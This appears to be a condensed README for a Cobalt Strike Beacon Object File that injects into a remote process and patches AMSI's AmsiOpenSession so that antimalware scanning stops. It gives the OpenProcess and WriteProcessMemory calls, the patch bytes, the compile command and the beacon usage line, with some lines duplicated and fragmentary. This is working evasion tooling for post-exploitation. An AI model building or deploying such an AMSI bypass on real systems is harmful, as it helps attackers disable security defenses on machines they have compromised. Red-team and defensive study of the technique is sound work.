Cobalt Strike Beacon Object File (BOF) that bypasses AMSI in a remote process with code injection.
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- Both beacon and the target process will both have the same address for the symbol.
- If AMSI.DLL does not exist in the remote process, running this may crash the target process.
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
- Uses the AMSI bypass technique taught in Offensive Security's PEN-300/OSEP (Evasion Techniques and Breaching Defenses) course.
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
beacon> inject-amsiBypass <PID>
- Make sure to load the inject-amsiBypass.cna script into Cobalt Strikes Script Manager
- Check that AMSI.DLL exists in remote process before injection
- Add other AMSI bypasses to inject
- Support x86